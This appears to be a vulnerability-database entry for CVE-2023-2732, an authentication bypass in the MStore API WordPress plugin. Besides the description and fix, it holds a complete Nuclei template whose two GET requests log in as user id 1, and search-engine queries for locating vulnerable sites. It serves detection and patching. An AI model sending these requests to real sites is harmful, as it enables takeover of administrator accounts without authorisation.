HexBrain

Browse / CVEs / CVE-2023-2732

CVE-2023-2732· inspireui / mstore api· CWE-288, NVD-CWE-Other

MStore API <= 3.9.2 - Authentication Bypass

criticalseverity
9.8CVSS score
67.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.2. This is due to insufficient verification on the user being supplied during the add listing REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.

Impact

An attacker can bypass authentication and gain unauthorized access to the MStore API, potentially leading to data breaches or unauthorized actions.

Fix

Upgrade to a patched version of MStore API (version 3.9.3 or above) to mitigate the authentication bypass vulnerability.

How to confirm it

Send: GET /wp-json/wp/v2/add-listing?id=1 ; GET /wp-admin/profile.php
Positive when: contains in body_2 "email-description" and "Username" AND status 200

Run it with nuclei: nuclei -id CVE-2023-2732 -u <target>

The full check
id: CVE-2023-2732

info:
  name: MStore API <= 3.9.2 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.2. This is due to insufficient verification on the user being supplied during the add listing REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the MStore API, potentially leading to data breaches or unauthorized actions.
  remediation: |
    Upgrade to a patched version of MStore API (version 3.9.3 or above) to mitigate the authentication bypass vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/f00761a7-fe24-49a3-b3e3-a471e05815c1?source=cve
    - https://github.com/RandomRobbieBF/CVE-2023-2732
    - https://wordpress.org/plugins/mstore-api/
    - https://plugins.trac.wordpress.org/browser/mstore-api/tags/3.9.0/controllers/listing-rest-api/class.api.fields.php#L1079
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2916124%40mstore-api&old=2915729%40mstore-api&sfp_email=&sfph_mail=#file58
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2732
    cwe-id: CWE-288,NVD-CWE-Other
    epss-score: 0.67284
    epss-percentile: 0.99311
    cpe: cpe:2.3:a:inspireui:mstore_api:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: inspireui
    product: mstore_api
    framework: wordpress
    publicwww-query: /wp-content/plugins/mstore-api/
    shodan-query: http.html:/wp-content/plugins/mstore-api/
    fofa-query: body=/wp-content/plugins/mstore-api/
  tags: cve2023,cve,wordpress,wp,wp-plugin,auth-bypass,mstore-api,inspireui,vkev,vuln

http:
  - raw:
      - |
        GET /wp-json/wp/v2/add-listing?id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        GET /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'email-description'
          - 'Username'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from